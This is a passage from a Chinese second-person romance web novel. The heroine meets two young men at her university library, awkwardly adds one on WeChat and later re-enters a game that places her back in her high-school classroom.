他沉静的眼眸不说话，放在键盘上的食指有一下没一下敲着，像极了你高中天天敲着手板趴在教室后门扫视众人的教导主任。
你一声不吱，默默放下手机，锁屏并扣了过去。
之后那一下午，你愣是一下手机都没敢再拿起来过。
学习效率……<
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p>那叫一个有目共睹的虎虎生风。
偶尔，你一早推开咖啡馆的大门，在叮铃铃的门后挂饰声中没在靠窗的位置看到熟悉的身影，还会下意识叹口气。
又是不能保障学习效率的一天……
期末考试周在大家“害怕”又“算了，早死早超生”的拧巴情绪中终于来临。
你踏上考场。
大家和你差不多，人手几张写得密密麻麻的纸。
直到监考老师强制把资料都收起来、把书包放去讲台，大家才不情不愿收起各自的考试宝典，磨蹭着将书包送去讲台。
那些平时不怎么学习的，这一刻，更是人拎着书包都站到了讲台上，还要多看两眼笔记，只恨眼睛不能变成扫描仪，瞬间把笔记上的所有知识扫进大脑中枢。
最后一科考完，你比任何一次考试结束后都开心。
在游戏里那些让某人和你告白却屡屡不成的日子里，你的复习倒是卓有成效。
外加这些天，有个人形提神醒脑器外加学习督导员几乎全程陪伴了你的复习，你完美地超常发挥了。
出了考场，望见湛蓝的天空和明媚如花的阳光，你突然原谅了游戏。
也原谅了图书馆。
***
期末考试结束，没几天便要放假，你开始收拾寝室外加打包回家的行李。
收拾东西时，你翻到那方秋香绿的英伦格纹手帕，才想起手帕还没还给简骁泽。
你当初怎么和人说的来着？
说拿回去洗完，第二天就还给人家……
结果，你第二天就进了游戏，一场漫长的游戏下来，就把这件事彻彻底底抛诸脑后。
你现在都不敢想象简骁泽这些天天天见到把他手帕据为己有的你是怎么想的……
手帕上的咖啡渍早已干涸，外加你看到手帕上的法文标签，你狠了狠心，把手帕送去了干洗店。
把手帕从干洗店取回来的当天，你便给简骁泽发了微信，提出要把手帕还给他。
你整理东西时，还整理出几本从图书馆借走还未及归还的书，想着反正都要出门，就一道还了。
于是，你和简骁泽约在图书馆门前见面。
你到的时间比你们约定稍早些，你先进去还书。
还书在自习区最外面的自动借还书机上就能操作。
你把手中的书挨本扫过背后的条码，望着屏幕上一次次出现的归还成功，脑中不断涌出一个莫名其妙的想法。
让你进到自习区看一看，看一看，看一看……
看什么呢？
你并不愿意去深想。
最后一本书归还成功，你的脚自动朝里面走去。
明明并不是同一个图书馆，这一刻脚下通往自习区的路却和游戏里重合。
你明明知道不可能，不可能，却还是在抬眼望到那个熟悉的位置，停下了脚步。
窗外斜照的阳光里，空气中的尘埃在毫无阻碍的靠背横梁间里外穿梭。
反反复复，不知疲倦。
用它的方式演绎着荒诞戏剧《等待戈多》。
“什么也没有发生，谁也没有来，谁也没有去。’’【1】
你的心好像生了脚，被坠得一点点沉低。
“咕噜噜，咕噜噜，咕噜噜，”图书管理员推着整理书的推车迎面而来，顺口问你：
“同学，你要找什么？”
你摇摇头：“没谁。”
然后，转身朝外面走去。
经过进出口的闸机，余光瞄到有人停在进口闸机前翻书包找学生证，你抬了抬手臂，顺手替那人在他那侧准入的机器上刷了下学生证。
嘀一声，闸机成功打开，你刚要继续往前走，旁边传来一道男声：
“夏佑？”
你转过头仰起脸，看清来人的刹那，眼珠子差点儿当场掉出眼眶！
37. 现实3.2
现实中，你掉下来的不是眼珠，是下巴。
冷白的东方肤色，立体的西方骨相，五官单看哪个都不是一眼惊艳的类型，但组合起来真是哪哪都挑不出错的淡颜顶配。
尤其是他现在垂着眼皮看你，举手投足间都流露出淡淡的矜傲。
即使你们只有一面之缘，你也立马认出了他。
“秦、今、阳？”
他没说话，但表情给了你肯定的答案。
他怎么会出现在这里？？？？？
不是原野，而是秦今阳！
明明你站在图书馆内，却有种被东西南北风吹得长发漫天狂舞的感觉。
不不不，现在的重点不是他为什么会出现，而是他怎么在现实里还认识你？
虽然简骁泽也在你的现实生活中出现了，但你们第一次见面，他可没认出你。
而且，简骁泽是你第一关的任务目标，秦今阳不就是个路人npc？？？
你手里的信息实在太少了，短时间且在这种惊慌的状态下，大脑实在难以拼凑出一个合理的答案。
你得先冷静下来，秦今阳还没离开。
你的左半边头皮从刚才就一直隐隐发烫，他说不定正在打量你。
你不能自乱阵脚，得装作若无其事。和他聊点儿什么，把这当成游戏，说不定还可以套一套他的话。
你慢慢抬起头。
秦今阳果然在看你。
“秦同学，这么巧啊？”你一秒切换被妈妈突然点名叫长辈的状态，眉眼弯弯，整张脸热络笑起来。
秦今阳点了点下巴，算作回应。
你也不气馁，游戏里他也是锯嘴的葫芦。你们几人玩了一晚上，他和你说过的话，满打满算都用不上五根手指。
你朝他左右看了看，装作在找人的模样，随口问：“白念芮，她也一起来了吗？”
秦今阳闻言眯了眯眼。
你被他像是要在你脸上看出什么的目光盯得心头一紧，就听他回：“她没来。”
“哦——”你把尾音特意拖长。
至于这声哦是“知道了”还是“好遗憾”就由秦今阳自己解读了。
你得到了一个有用信息：白念芮在你的现实世界里也是真实存在的。
要不要再问问韩凯，进一步确定一下？问吧，机不可失，失不再来，马上就放假了。
你又问：“那韩凯跟你一起来了吗？”
秦今阳突然笑了。
你：“？？？”
你下意识感觉这个问题似乎问得有些不对，谨慎没再出声。
秦今阳轻摇了摇头，回答：“他也没来。”
韩凯也在现实世界中存在，看来不光主角，npc们也是现实存在的。
只是为什么，你隐隐感觉秦今阳看你的眼神和最开始不一样了？
明明你们刚见面，他和游戏里差不多，眼睛看人总一副“少爷我大发慈悲勉强搭理你一下”的模样。
现在看你的眼神则像……
无聊了很久的大猫突然发现只有趣的小老鼠？
被他的冷眼热热看着，你笑都笑不出来了。
其实，拼凑真相也不是那么重要，什么明修栈道，暗度陈仓，三十六计，你还是走为上。
“那个，我一会儿约了人，时间快到了，”你装作什么也没看出来，冲着秦今阳笑着挥挥手，“我就先走了……”
“等、等。”秦今阳突然开口。
你刚抬起的鞋后跟就这么被他轻巧两个字又压了回去。
若你对面立着面镜子，你肯定会在里面看到个一脸媚主笑的狗腿子：“您……还有什么事？”
秦今阳：“没什么事。”
你悬着的心还没碰到地面，就听他再次开口：“你想问的问题都问完了，该轮到我了吧？”
你……你也没问什么吧？
你呵呵呵呵笑，但就是不答应。谁知道他想问你什么？
“你问我三个问题，”秦今阳竖起三根手指，“我也问你三个，公平吧？”
这世界哪有那么多公平？不公平才处处可见，秦今阳你要是不知道可以照照镜子，你那张脸就是世界最不公平的存在……
在秦今阳持续的眼神逼视下，你一脸乖巧点头：“公平公平！”
秦今阳眼里划过一丝满意，继而问你：“你是怎么知道我名字的？”
“你不也知道我名字？！”你脱口而出。
这是什么问题？你本来还以为他要刁难你……
秦今阳：“这算你的第四个问题吗？”
你：“……”他是数学专业的吗，怎么这么在乎1234？
见你不吱声，秦今阳勾了下唇角：“那我免费送你一个。”
说罢，朝你垂在身侧的左手睇了眼。
你顺着他的视线向下看去。
是你握着学生卡的左手。
你抬起左手，摊开掌心，学生卡反面朝向你。姓名、专业、学号什么信息都没有。
他要你……看什么？
头顶忽的传来一声叹息。
你刚要抬头去看，掌心蓦地一空，学生卡被秦今阳拿走了。
他拿着你的学生卡，在你们身后进自习室的闸机上刷了下，眼神示意你去看闸机上的显示屏。
你伸长脖子看了眼。
「夏佑」
黄绿色的电子屏上清清楚楚显示着你的名字。
Ohmygod——
秦、秦今阳根本不知道你是谁，他只是念出了显示屏上的名字！
他一开始叫你，或许只是为了要对帮他刷学生卡的好心人说声谢谢……
沉默排山倒海袭来，淹没了你………………
你怎么能蠢成这样！
能不能来个谁，随便谁都行，现在一棒子把你敲晕？
谁能来救救你，你的大脑仿佛卡bug的播放器，反复播放着救救你、救救你、救救你、救救你……
正常的你实在无法回答这个问题……等等！
你眼前倏然一亮，正常的不行，就让有病的来吧！
你说干就干，双手十指交叉托在下巴处，学着偶像剧里的花痴女，冲秦今阳blingbling眨眼笑：“你可能不知道，你长得这么帅……”
你顿了下，以便他自信的大脑有时间脑补你的言下之意。
“学校论坛和表白墙上有好多关于你的帖子，那些帖子，我都、都看过……”你戛然而止，埋低了头。
正所谓演技不够，走位来凑。他现在一定能从你低垂的后脑勺看出你的娇羞。
你低低说完了最后一句：“我、我一直都在关注你……”
你对着自
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己脚下的鞋头，暗自佩服自己脖子上的那个头，你这进可攻、退可守的说辞，一个“爱”字不说，却句句都是爱……
暗恋的花痴女人设，稳了！
秦今阳果然不置可否。
你仰起脸，猛猛点头，用行动进一步加强他脑中的联想。
“第二个问题是……？”你想他赶紧问完，赶紧放过你。
秦今阳：“你们学校的论坛，连我小姨的消息都有？”
你：“你小姨？！”
秦今阳挑了下眉：“你知道我小姨的名字，却不知道她是我小姨？”
什么？白念芮是秦今阳的小姨！
那……那他俩……
他俩是不、伦、恋？
你抱着最后一丝希望，问他：“亲、小姨？”
秦今阳：“我母亲姓白。”
真是亲的……
你本以为自己对感情的包容度还挺高的，现在、现在突然有点儿接受无能了。
“哦。”你僵硬点点头。
你惊讶到忘记回答秦今阳的第二个问题，他就又重复了一遍：“你们学校的论坛，连我小姨的消息都有？”
当后半句的内容不再能对你造成冲击，你初听到“你们学校”四个字时内心淡淡的违和再次凸显出来。
不是“我们学校”，是“你们学校”！
完了，你想当然以为秦今阳是你们学校的学生了。
秦今阳出现在你们学校的图书馆，外加他刚才在闸机前翻书包找学生卡的模样，让你下意识以为你们是同一个学校的……
所以，你之前的回答都是基于这个设定展开的。
你想起游戏里秦今阳是你隔壁大学的，他今天既然能来你们学校图书馆，肯定是你们学校附近几所大学中的一所。
没事没事，这个错漏你还可以救一救。
“你可能不怎么看校园论坛和表白墙。”你继续冲他花痴笑，“周边这几个大学的帅哥和美女，时不时就出现在我们学校的论坛和表白墙。”
“各、种、信、息都有。”你强调。
秦今阳点了点头。
看来，他信了。
秦今阳：“你们学校的校园论坛和表白墙消息这么灵通。”
你附和：“还好，还好，都在附近嘛。”
“也不算太近吧？”
你想了想那几个大学的位置，都不太远啊，走路就能到，坐地铁不过一站地，交个隔壁学校的男女朋友每天往返也就十分二十分的事，但有了之前的教训，你没把话说满：“也不算远吧。”
秦今阳：“我今天从学校来，坐了四站地铁。”
什么，四站地铁那么远？
那可不算你们隔壁的大学了……
你脑袋里浮现出途经你们大学这条地铁的线路图，从你们学校往北走四站和往南走四站……
只有一个大学。
你震惊了，他是T大的！
你赶紧捂住你失控张大的嘴。
你现在的人设是知道秦今阳是T大，冷静冷静，现在可不是搞学校崇拜的时候。
这么远，你突然意识到你刚才编的有点不靠谱了……
是时间抓紧跑路了。
“秦同学，第三个问题是什么？”你催他。
秦今阳：“夏同学，你的微信号是多少？”
38. 现实3.3
秦今阳：“夏同学，你的微信号是多少？”
你一时怀疑自己幻听，画风是怎么压迫式审问突变到向你要微信的？
你丝毫不觉得秦今阳会对你一见钟情，也不觉得他会因为你刚才含蓄表达的倾慕就对你萌生进一步接触的心思。
难道是三个问题不够他把想问的事情都问完，他打算加上你的微信，剩下的接着在微信上问？
可他明明亲口说“你问我三个问题，我也问你三个，公平吧？”他这样操作真的不算变相作弊吗？
哦，他后来还免费送你一个……
“不记得了吗？”秦今阳拿出手机，“那扫码加好友吧。”
呃……他把你借口不记得的路也堵住了。
秦今阳点开微信，边调出微信二维码边说：“这样，你以后就不用通过论坛和表白墙来关注我了。”
你精心挖的坑……好像最后只绊倒了自己。
你不情不愿、磨磨蹭蹭开始到处翻手机，边翻边思考一个暗恋他却又不能加他微信的合理理由。
你从防晒衣兜翻到牛仔裤兜，从左面翻到右面，对面的秦今阳倒是耐性十足，手机都自动息屏了，他又按亮了举在你面前。
你身上都翻遍了，还没找到理由。
你又磨磨蹭蹭把背包反背到身前，拉爱马仕包的珍惜架势龟速拉开拉链，埋头继续翻起来。
“夏佑。”突然，你身后传来简骁泽的声音。
你如闻天籁，快埋进背包里的头嗖一下支棱起来。
你转过身，仿佛看见了盖世英雄踩着七彩祥云，一步步朝你走来。
《大话西游》经典了这么多年，你终于能理解了紫霞仙子！
简骁泽在你身旁停下，侧头低声问你：“我是不是来晚了？”
你赶紧往他身边凑近一步：“不晚不晚。”现在刚刚好，把你带走。
简骁泽听完你的话，唇角微不可查勾了下。
你偷偷打量对面秦今阳的表情，寻找合适的遁走时机。
简骁泽顺着你的视线看去，像是这才注意到你们对面还站着个人。
秦今阳也用眼神回敬简骁泽。
如果你不是夹在两人间仰视他们，只远远旁观，一定会觉得两个身高腿长的白皮淡颜系大帅哥隔空对视的画面异常养眼。
但随着两人眼神交锋的持续拉长，你头顶上方的空气都跟着稀薄起来，明明是夏天，你却觉得头顶凉飕飕。
你头一次知道，还有人能不说话，只用眼神就打架。
东北大哥们打架前还得你来一句“你瞅啥？”，他回一句“我瞅你咋地！”一言不合再动手呢。他俩这是一句话没说，眼神就在你脑袋上噼里啪啦滋滋对战……
他俩这是在看啥？能不能别把你干晾着，你这么有礼貌的人又不好不告而别，你不想承认你也是有点儿怂。
等等？
难道这就是传说中的天雷勾地火？
主要是你平时也不看耽美，不懂男人们是怎么一见钟情的。
可思路一旦走上这条轨道，你再细细一看，眼前的画面立马不同了。
两人不仅都是身高腿长，肤白貌美，连性格都是一挂的清冷，但又略有不同，秦今阳是冷傲骄矜，简骁泽却是疏离有礼，这样看来……一个可以作，一个能包容，这cp感不就来了？
所以，他俩这是一见钟情了？
你嗑cp刚步上正轨，就听简骁泽开口问：“这位是……？”
你的头立马看向秦今阳，却见他冷哼一声，并不作答。
作的有点早了，你腹诽，可以一见钟情，但不能一见就作……
你打算帮秦今阳一把，在耳边举手准备发言。
简骁泽的余光注意到你的动作，朝你看来。
你小声替秦今阳回答：“他叫秦今阳。”
秦今阳听你替他作答，也低头来看你，嘴角噙着似笑非笑的弧度：“这是你男朋友？”
你赶紧疯狂摆手，表示绝对不是。
“哦——”秦今阳拖长音，“吓死我了，我还以为你是背着男朋友红、杏、出、墙。”
你震惊怒视秦今阳，他怎么恩将仇报？！
还有什么叫红杏出墙？
后脑勺传来简骁泽冷淡的嗓音：“嘴要是不会说话，可以留着做点善事。”
你瞪着秦今阳，点头如捣蒜，表示赞同简骁泽的话。
就听简骁泽又补了一句：“比如，拿去喂狗。”
你猛猛点着的头gá——一下停了。
望着秦今阳晦暗的表情，你立马把头摇得噼里啪啦，没有没有，没有，你可没有这么这么想……那都是简骁泽说的！
你哪能料到简骁泽那张素来彬彬有礼的嘴能吐出骂人的话？
秦今阳嗤笑一声，眼睛盯着简骁泽却朝你扬扬下巴：“我有没有胡说，你可以问问她？”
你立马捂住嘴，表示拒绝发表意见。
“告诉一下你这位普、通、朋、友，”秦今阳突然冲你扬唇一笑，“有男朋友的人可不可以在论坛上到处搜集别的男人的消息、关心别的男人的家人、关心别的男人的室友、关心别的男人……”
你的瞳孔连连地震。
秦今阳他、他在胡说八道什么？！不能再让他说下去了，你以迅雷不及掩耳之势从敞开的包里摸出手机，举高到他眼前：“找到手机了！”
秦今阳的话被你强势打断。“扫码，扫码。”你赶紧催促。
秦今阳不紧不慢低头，悠哉悠哉看向手里又一次自动息屏的手机。
你哪有闲心等他磨蹭，一把从他手里夺过手机，戳戳戳连戳好几下却没像秦今阳之前那样成功唤醒手机。
你又忙着去手机侧边找开机键，秦今阳在你埋头忙乱中伸来一根指头，冷白修长轻点在漆黑的屏幕下方。
指纹识别成功，屏幕再一次亮起。
你赶紧扫了他的微信二维码，点击了添加。
“加上了。”说完，你也不敢去看简骁泽的脸色，拉上他的胳膊就往图书馆大门方向走，“我们还有事，就先走了。”
刚走出两步，就听秦今阳一句不大不小的自言自语：“加个好友，这么着急干嘛？”
瞬间，你掌心里的手腕硬了……
***
你拉着简骁泽，一路闷头朝前走，生怕秦今阳再追上来，对简骁泽胡言乱语什么。
你可不想简骁泽把你当成什么奇怪的花痴女，表面看着老实木讷，实则私下对着各种电子屏幕，阴暗收集男人的信息……
等身后彻底没了图书馆的影子，你才在一片树荫下停下。
你放开简骁泽的手腕，转过身，垂眉耷脑等着他的询问。
问你“红杏出墙”是怎么回事，问你“到处搜集别的男人的消息、关心别的男人的家人和室友”的又是谁？
你等了半晌，你们间除了头顶被夏风
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吹得脆灵灵的树叶声，什么也没响起。
简骁泽今天穿了件藤萝紫的轻薄衬衫配米白的西裤，修长立在树影斑驳的阳光下，看着格外温和。
你数着他第三次被风扬起的衣摆，决定早死早超生：“那个人，我们今天是第一次见。”
说完，你偷掀眼皮，觑着简骁泽的脸。
简骁泽的表情依旧是淡淡的，风吹皱的只有他的衣摆。
对上你期待他说些什么的表情，他才开口：“我知道了。”
“他那些话……”你犹豫着措辞。
简骁泽用那张波澜不惊的脸替你说了下去：“都是放屁。”
你始料不及之余，“噗嗤”乐了。
你第一次知道原来一本正经骂人是这么搞笑。
心中始终绷紧的弦儿被笑声嗖一下吹跑，他什么都没误会，你也不必再冥思苦想如何解释。
“对了，差点儿忘了最重要的事。”你把背包反背到身前拉开，在最里侧的独立内袋找到了用透明塑封袋包好的手帕。
你拿出来看了眼，经过这一翻折腾，尽管你把手帕认真叠好、装进塑封袋前又沿着折痕仔细压过，手帕还是堆到了袋子一侧。
你隔着袋子，小心拉着手帕的四角，把它们重新恢复成方方正正的模样，又一手托底，一手当熨斗，来回熨了两遍，才满意递去给简骁泽。
秋香绿的手帕悬在半空，简骁泽却迟迟未有动作。
你抬头，疑惑去看他。
简骁泽却别过了脸，转身时飞快抽走了手帕：“走吧，我送你回去。”
简骁泽和你一前一后朝寝室区走去。
你跟在他身后，行走间他捏在指间的秋香绿手帕在你眼皮子底下一晃一晃，像吊着小毛驴转圈拉磨的胡萝卜，你总是忍不住看向那里。
一看目光又忍不住多停些，秋香绿把他指关节的皮肤衬得很白，薄薄透透的，鲜明包裹着劲长的指骨，目光再向上爬一爬，又在他手背上浮凸的筋络间翻山越岭……
时间不知不觉溜过，你甚至不觉自己跟得越来越近，落在路人眼里俨然是亦步亦趋的模样。
反应过来，便是听简骁泽悠悠开口：“那个微信……”
你抬头从他肩膀上望出去，已经能看到寝室楼了，你遥遥从一栋查到六栋，才意识到他事出反常的迟疑。
你疑惑盯着他的背影，分别在即，再联想到之前发生的事，关于“那个微信”是哪个微信，你忽然福至心灵：
“我一会儿回去，就把他推给你？”
简骁泽倏然停下脚步，回头朝你看来，目光微妙。
“你……”你小心开口，“不是想要他的微信？”
简骁泽目光却一寸寸看遍你的脸，语调古怪问你：“你要把他的微信推给我？”
你的心被他盯得有些发毛，缩了缩脖子：“那、那你是想说什么？”
简骁泽移开了目光：“没什么，”转身继续朝前走去。
你莫名其妙继续跟着他。
他把你送到，你挥手和他告别，并提前祝他“假期愉快。”
简骁泽也像模像样回你一句：“假期愉快。”
你像之前每次和他在咖啡店告别一样，笑着朝他摆摆手，转身离开。
这次没走出两步，却被简骁泽叫住：“等一下。”
你转过身，望着他等他的后续。
简骁泽淡淡开口：“那个微信，推给我吧。”
39. 现实3.4
回寝室的一路，你怀着只有你一个人知道的秘密的小窃喜，把脚下的楼梯踩得“噔噔噔”响。
一个高冷傲娇，一个口是心非……
啊，竟然被你见证了一见钟情的第一面！
回到寝室，放下书包，你的第一件事就是点开和简骁泽的对话框。
点「?」，选择「名片」，不断下滑联系人列表寻找刚加上的秦今阳。
秦今阳的微信名叫什么来着？
刚才加的时候太匆忙，你甚至没来得及仔细瞧上一眼，手指在屏幕上滑着滑着，你忽然意识到有些不对。
秦今阳喜欢白念芮，刚才又和简骁泽对视间一顿噼里啪啦，所以秦今阳到底是喜欢男的，还是女的……？
你激动的食指沉默了。
没弄明白秦今阳是不是单身前，把他的微信名片推给简骁泽是不是害了他？
你刚才没一激动就答应了简骁泽吧？
你回忆了下刚才你们分别的场景，简骁泽说完那句“那个微信，推给我吧”……就走了，压根没给你拒绝的机会。
但换个角度来看，你是不是也没同意给他推微信？
在搞明白秦今阳是怎么回事之前，你决定先搁浅一下推微信的事。简骁泽要是等不及来追问，你再推也来得及。
这一上午各种离谱的事情都赶在了一起，你现在冷静下来，重新盘算，发现问题越想越多。
你索性拿出张纸，把脑子里的东西都写到纸上。
秦今阳在你的现实生活中出现了。
你之前以为：
你从秦今阳口中得知白念芮和韩凯的存在=>路人npc也是现实生活中存在的人=>秦今阳作为路人npc在你现实生活中是合理的。
可这个推论要成立，其实首先需要证明秦今阳和白念芮、韩凯一样，真的只是路人npc。
如果秦今阳的身份不止是路人npc呢？
一个可怕的想法闪过你的脑海。
上一关游戏里，在夜店，你和原慕面对面聊天，微醺的你有一瞬怀疑过：这一关会不会像第二关一样，存在一个任务目标，一个攻略目标，原慕会不会是你这关的攻略目标？
不会……其实秦今阳才是第三关那个隐藏的攻略目标吧？
你不会又像第二关一样，忙活了大半天，又和那个攻略范本各奔东西了吧？
所以……上一关游戏，你回到游戏空间，系统三番两次让你查看游戏CG，你为什么不查看游戏CG？
你当时只要随便看一看，现在就不用在纸上到处画圈圈，一会儿怀疑这个，一会儿怀疑那个。
不要你钱，也不花你积分，你到底在和一个没有生命的系统赌什么气？
还有一点，秦今阳在现实中是T大的，不是游戏里简称海城理工的大学，看来，现实和游戏里的身份信息是有出入的。
那么白念芮呢？
作为现实里秦今阳的小姨，她还是像游戏里和你一样大吗？
还有她和秦今阳的感情关系……
你仔细回忆游戏里你和秦今阳的那次见面，其实你并没看到秦今阳和白念芮有什么过分的亲密举动，白念芮一路冲过来骂原野的时候，一直积极阻拦的人也是韩凯。
秦今阳是白念芮的追求者这件事其实是你听李知乐和张雨婷讲的，白念芮并未否定，但也没肯定。
你想想，你要是有个和你一样大的外甥，你似乎也不想告诉朋友，然后被他当着朋友的面叫你“小姨”。
你本来以为是白念芮拿捏男人的手段了得，才能让那晚一起等在楼下的韩凯和秦今阳一左一右和谐地走在两边。
这一左一右要是一个是大外甥，一个是男朋友，那种和谐似乎更加合理了。
这样的话，现实世界的秦今阳和白念芮或许并没有你第一反应以为的什么不伦恋情。
比起他们有血缘的不伦恋，你似乎更能接受这种猜测。
而且这样的话，秦今阳喜欢男人也没什么问题了。
你越整理，发现问题越多，怎么想好像都合理，准确的结论一个没得出。
你唯一复盘明白的，大概就是你今天糊弄秦今阳的那套蒙太奇式说辞师承傅谨言。
不同的是傅谨言把你忽悠明白了，你却没忽悠住秦今阳。
你把笔往桌上一扔，真是纯纯浪费你的脑细胞。
下次上游戏再看看上关的游戏CG不就知道秦今阳是路人npc还是攻略目标了？
你还是继续收拾回家的行李吧。
***
你忙忙碌碌一下午，晚上躺在床上。
身体一安静，思维又上了高速。
你和它说了几遍“别瞎想了，一点儿意义都没有，”“秦今阳他是谁和你有什么关系？”“明天你就回家了，放假回来，秦今阳也在四站地铁外的T大上学，以后你想见也见不到，”可思考就是停不下来。
最后，你干脆自暴自弃。
大大方方在黑暗中点亮手机，打开微信，视|奸秦今阳的朋友圈。
还好，秦今阳的朋友圈没设置什么半年可见、三天可见，大大方方毫无限制。
这么坦荡的人，现在可真是越来越少了。
你从上到下一条一条看去。
他的朋友圈数量不算多，一个月最多三四条的样子，几乎都是各种转发，学校学生会活动的转发、一些你看不大懂的专业知识分享。
怪不得如此坦荡……
你在那些你看了却像没看过一样的转发题目比如「强关联铬基笼目超导体CsCr3Sb5」之中仔细甄选，最后点进一个看完脑子里还能剩点儿什么的题目：
「人工神经网络机器学习获得2024年诺贝尔物理学奖」。【1】
你想，就算你看完这篇没看懂“人工神经网络机器学习”是什么，至少也能知道是谁得了2024年的诺贝尔物理学奖。
你点了进去。
开篇两张获奖者的简笔肖像图，下面写着「JohnJ.Hopfield」和「GeoffreyE.Hinton」。
两个英文名，没有中文翻译，前者你还能猜出他大概叫约翰J.霍普菲尔德，后面的人叫什么你就完全没有头绪了。
你继续往下看，这两人获奖的理由是“在人工神经网络机器学习方面的基础性发现和发明。”【2】
你的目光在“基础性”三个字上停了会儿，却怎么也想不出怎样基础又不那么基础的发现和发明能获诺贝尔物理学奖。
你准备往下仔细领略一番。
不料，下面就是图文并茂的全英文介绍了。
？？？
怎么，这个公众号是担心它说中文你一下就把知识全学了去？
你划划划一路划到底，也没看到这两个诺贝尔物理学奖的获奖者的中文名到底是什么。
你懂了，这个公众号的受众压根不是你。
明明你只是对着手机屏幕，明明秦今阳压根不知道你在翻他朋友圈，你却还是感受到了来自他的打击……
心情一down，你的好奇心也跟着大减。
你半死不拉活地继续往下划划划，终于，你看到了个生活化的朋友圈。
你点进去，是他十八岁生日的留念照。
秦今阳面前摆着点着蜡烛的生日蛋糕，烛光后的他没有闭眼，没有十指交扣许愿，而是直直看着摄像头。
你点开这张照片的瞬间，有种他穿过照片正在盯视你的错觉。
如果说现在的秦今阳是举手投足间淡淡流露些骄矜，十八岁的秦今阳简直是眉眼间直飞出桀骜。
看着看着，你心底莫名生出种羡慕。
明明寝室已经一片黑暗，你却仿佛从那小小的照片里看到了光。
你好像从没有这样恣意的时刻，无论是现在，还是和他一样年轻的十八岁。
那光，让人不忍直视。
你闭了闭眼，从照片退出去。
再睁开眼，你却惊恐发现手指不知什么时候一滑……点了个赞？
你：！！！！！
你绝望看了眼那条朋友圈的发布日期，是两年前；
你又看了眼手机右上方的时间「23：48」；
深夜+点赞某人两年前的朋友圈=？
这次，你都不用笔和纸，脑子里直接蹦出了答案。
你真是亲手把自己的暗恋人设锤得死死的……
不能再
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死一、点、儿、了。
***
第二天早上起床，你果然看见手机最上方有微信新消息的提醒。
你很忙，一会儿还要去高铁站赶高铁，所以你没时间回消息。
高铁上，你一路都没玩手机。
只中间接了个妈妈的电话。
“佑佑啊，你怎么一直不回微信？”
“你几点到家啊？”
“我菜都准备好了，什么时候可以开始炒啊？”
你：“妈，我前两天不就把12306订单的截图分享到家庭群里了吗？”
“什么时候分享的？我没看到啊。”
“这孩子，问你几点到，你就直接告诉我呗，还非要让我费劲去翻什么截图……”
你这次直接报出了到站时间，妈妈满意离去。
出了高铁站，你就看到被妈妈派来接你的爸爸。
爸爸是开车来的，你上了车。
或许是许久不见，再加上两个都是不太会表达感情的人，车里很安静。
安静里透着股久别重逢、一时不知该说些什么的淡淡尴尬。
爸爸憋了半路，终于找到了话题。
和你说起妈妈今天一大早五点就起床去早市买菜；家里从三天前就开始打扫起各处的卫生，妈妈给你换上了洗过晒过的床上四件套；家里的哪个亲戚听说你要回来，准备哪天请你吃饭……
看着窗外熟悉又有些陌生的道路风景，听着爸爸口中干巴巴却透着点点温情的叙述，你心底那种近乡情怯也跟着一点点消散。
你跟着爸爸刚出电梯，妈妈就闻声从家里推开门，往楼道里张望。
你进了家门，拖鞋刚换上一只，妈妈就拉着你上上下下转圈圈一顿打量。
饭桌上，妈妈不停给你夹菜，问你的学习，问你和室友们相处得如何，也旁敲侧击问你有没有遇到合眼缘的“小朋友”。
从妈妈说话时的表情和欲言又止的语气，你猜此“小朋友”应该专指“小男朋友”。
你当然是没有。
吃完饭，妈妈也不要你帮忙洗碗，直接把你赶回卧室休息。
关上房门，你没有开灯，直接躺在了床上。
身下的被子松松软软的，还有股阳光的味道。
听着门外隐隐传来的哗哗流水和碗碟碰撞声，你想起了那个你不得不面对的未读消息。
你拿出手机，手臂擎得老高，别过脸盲点开微信。
你一手挡住手机右侧大半边屏幕，眯缝着眼转过脸来。
手机屏幕上，你昨天翻了大半夜的朋友圈的主人的头像赫然在列表正数第三的位置。
右上角还有个小红圈……
你心怀一天的最后一丝侥幸，它死了。
你把手机倒扣在床上，眼睛望出窗外。
昏黄的月亮无忧无虑高高挂在天上。
白天不懂夜的黑，月亮也不懂你的心。
你在怕什么，有什么不敢看的？
现在不回，等会儿也要回啊，拖着有什么意义呢？今晚回还可以说白天赶高铁很忙，现在才腾出时间来看手机，拖到明天，这借口都不好用了……
月亮啊月亮，你能不能就一直挂在这里，让明天不要来临啊？
让明天不要来临，你眼前的月亮倏然亮起，游戏可以让时间静止啊！
月亮啊月亮，你可真是个小天才！
你拿起手机，点进“燃烧吧，小I人”的游戏图标。
你再睁开眼，一片晃眼的光扑面而来，你不适应地抬起左臂挡了下眼。
然后，你惊讶发现，你身上穿的是高中的蓝白长袖校服。
你迟疑着放下手臂，向四周打量。
这是一间空无一人的教室。
前方擦拭干净的黑板上方，拉着一条红底白字的醒目大横幅：
「等我考上的那一天，我一定要告诉全世界：少年的野心不是妄想！」【3】
你不敢置信地转过身，向后看去。
后面的黑板上方也有一条无比熟悉的励志横幅：「低头疾书万里志，抬头晴天不负君。高三十班全体师生宣」【4】
高三十班？
你这是穿回高三了？！
40. 竹马的心愿挑战（1）
你朝记忆中曾经的书桌走去。
桌面上空无一物。
你单手拉开椅子，教室里空无一人，拖拽的声音格外空旷。
桌洞完整露出来，里面从小到大、左右整齐码放着两摞几乎到顶的书。
你坐下身，指尖顺着书的侧面从上向下慢慢滑下去——
很久没看到如此整齐的收纳了。
你不是什么有条理的人，用过的东西大概放回去就行，大学寝室里，每次收拾好的书桌没两天又会被你堆满。
无数次陷入乱摆——堆满——收拾的循环。
你指尖停在其中一本，抽出来一看。
是数学教材。
你翻开封面，内页下方正中赫然写着：
「高三十班夏佑」。
是你再熟悉不过的自己的笔迹。
你冷静又有些疯狂地一本本拿出，一本本翻开，每一本的首页，下方正中的位置都有你的亲笔签名。
你真的穿越了？穿越的时机还恰巧是你打开游戏的时候？
没有熬夜猝死，也没有惨遭车祸，你不就躺在床上不敢回秦今阳的微信，这就穿越了？
忽然，空旷的教室里响起一阵“哒哒哒哒”有节奏的细微电流音。
你抬头去寻声音来源。
就见前方原本空无一字的黑板上凭空出现三行白色的粉笔字：
「任务目标：帮助你的竹马实现他的心愿。
任务地点：无限制。
任务限长：无限制。」
你从未因能见到游戏任务这么开心。
还好，你只是在游戏里。
再加上现实中，你并没有从小玩到大可以被称作“竹马”的男性朋友，你更加确定这不是你担心的穿越。
看来，游戏只是用了你曾经高三的教室作为场景。
游戏的任务要求似乎也更简单了，这次不仅不限时，连地点都不限了。
「帮助你的竹马实现他的心愿」，你这是要见到从第一关就出现在你联系列表里的竹马了吗？
